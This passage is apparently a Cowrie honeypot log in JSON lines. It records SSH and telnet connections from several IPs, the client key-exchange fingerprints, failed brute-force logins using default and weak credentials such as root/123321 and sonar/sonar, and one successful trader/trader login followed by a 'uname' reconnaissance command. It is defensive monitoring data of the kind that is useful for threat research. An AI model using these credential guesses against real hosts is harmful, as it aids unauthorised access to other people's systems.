{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApxDin2/rv6XdJDzembqpyJd1lo8z+H6JB+f0wDLWToFuMhJLS7FtGaJ57XAiIqLjkyJ6N23AshyMafuq+NQ9CoHCGoOsRo6CUi5/zx/6xE9Y2oRDN95DCpRynvrRqN5MZt7cRNJexGiKzzOT5Vj35wA9xyNmttXJ22OhQoXq1iprW0M7mPWTLvO3Dogaj1Fj0Ki2DALXKE7u7E4yFnOg34+if0kPWX6fTHageEHiJTPGITsGXZFjI6es01zq/o3xdLVQm2TD/tgri+hOWZsFDQGcY+tI2ER8DyOewInLyp9B9cB7Ine80Ji739RGemIborkN6cFTKbIKiFtG7suASQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:20.092117Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApxDin2/rv6XdJDzembqpyJd1lo8z+H6JB+f0wDLWToFuMhJLS7FtGaJ57XAiIqLjkyJ6N23AshyMafuq+NQ9CoHCGoOsRo6CUi5/zx/6xE9Y2oRDN95DCpRynvrRqN5MZt7cRNJexGiKzzOT5Vj35wA9xyNmttXJ22OhQoXq1iprW0M7mPWTLvO3Dogaj1Fj0Ki2DALXKE7u7E4yFnOg34+if0kPWX6fTHageEHiJTPGITsGXZFjI6es01zq/o3xdLVQm2TD/tgri+hOWZsFDQGcY+tI2ER8DyOewInLyp9B9cB7Ine80Ji739RGemIborkN6cFTKbIKiFtG7suASQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:20.096747Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:20.188203Z","src_ip":"78.111.67.246","session":"5fee5ab5dcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:20.320130Z","src_ip":"45.156.87.204","session":"2aef6724b2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:21.405269Z","src_ip":"45.156.87.204","session":"2aef6724b2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46048,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7c1e0fb746","protocol":"telnet","message":"New connection: 152.42.224.71:46048 (10.17.0.5:23) [session: 4f7c1e0fb746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:23.435973Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46302,"dst_ip":"159.203.135.109","dst_port":22,"session":"92cb307c9f40","protocol":"ssh","message":"New connection: 45.156.87.204:46302 (159.203.135.109:22) [session: 92cb307c9f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:23.452385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:23.578983Z","src_ip":"45.156.87.204","session":"92cb307c9f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:23.590453Z","src_ip":"45.156.87.204","session":"92cb307c9f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:23.916584Z","src_ip":"45.156.87.204","session":"92cb307c9f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46058,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d72e62c235","protocol":"telnet","message":"New connection: 152.42.224.71:46058 (10.17.0.5:23) [session: 33d72e62c235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:24.753031Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:25.001055Z","src_ip":"45.156.87.204","session":"92cb307c9f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46310,"dst_ip":"159.203.135.109","dst_port":22,"session":"6150891e1fac","protocol":"ssh","message":"New connection: 45.156.87.204:46310 (159.203.135.109:22) [session: 6150891e1fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:26.949586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:26.954800Z","src_ip":"45.156.87.204","session":"6150891e1fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:27.036888Z","src_ip":"45.156.87.204","session":"6150891e1fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:27.285054Z","src_ip":"45.156.87.204","session":"6150891e1fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27c93649c6f","protocol":"telnet","message":"New connection: 152.42.224.71:51796 (10.17.0.5:23) [session: b27c93649c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:27.869379Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:28.464365Z","src_ip":"45.156.87.204","session":"6150891e1fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55604,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40eb14d7305","protocol":"ssh","message":"New connection: 51.250.105.222:55604 (10.17.0.5:22) [session: c40eb14d7305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:29.811672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:29.821061Z","src_ip":"51.250.105.222","session":"c40eb14d7305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:29.947895Z","src_ip":"51.250.105.222","session":"c40eb14d7305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46322,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa6c6a2141e","protocol":"ssh","message":"New connection: 45.156.87.204:46322 (159.203.135.109:22) [session: 3fa6c6a2141e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:30.256283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:30.261637Z","src_ip":"45.156.87.204","session":"3fa6c6a2141e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem123","message":"login attempt [root/artem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:30.329257Z","src_ip":"51.250.105.222","session":"c40eb14d7305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:30.343847Z","src_ip":"45.156.87.204","session":"3fa6c6a2141e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:30.589408Z","src_ip":"45.156.87.204","session":"3fa6c6a2141e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51798,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d7da6c9c08","protocol":"telnet","message":"New connection: 152.42.224.71:51798 (10.17.0.5:23) [session: 70d7da6c9c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:31.397339Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:31.459139Z","src_ip":"51.250.105.222","session":"c40eb14d7305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:31.676564Z","src_ip":"45.156.87.204","session":"3fa6c6a2141e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":51614,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f809c85760d","protocol":"ssh","message":"New connection: 83.111.76.195:51614 (159.203.135.109:22) [session: 6f809c85760d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:32.175117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:32.179693Z","src_ip":"83.111.76.195","session":"6f809c85760d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:32.380998Z","src_ip":"83.111.76.195","session":"6f809c85760d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ydy","password":"ydy","message":"login attempt [ydy/ydy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:33.218793Z","src_ip":"83.111.76.195","session":"6f809c85760d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"d315ad1feec4","protocol":"ssh","message":"New connection: 45.156.87.204:43782 (159.203.135.109:22) [session: d315ad1feec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:33.646104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:33.651247Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:33.734098Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:33.983747Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.475642Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.479341Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.487344Z","src_ip":"83.111.76.195","session":"6f809c85760d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.566514Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.571343Z","src_ip":"45.156.87.204","session":"d315ad1feec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51800,"dst_ip":"10.17.0.5","dst_port":23,"session":"60135974f5d8","protocol":"telnet","message":"New connection: 152.42.224.71:51800 (10.17.0.5:23) [session: 60135974f5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:34.909664Z"}
{"eventid":"cowrie.session.closed","duration":120.00245642662048,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:36.015001Z","src_ip":"152.42.224.71","session":"cd1a1de2b811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43788,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ce1f3becf1","protocol":"ssh","message":"New connection: 45.156.87.204:43788 (159.203.135.109:22) [session: 23ce1f3becf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:37.321966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:37.337034Z","src_ip":"45.156.87.204","session":"23ce1f3becf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-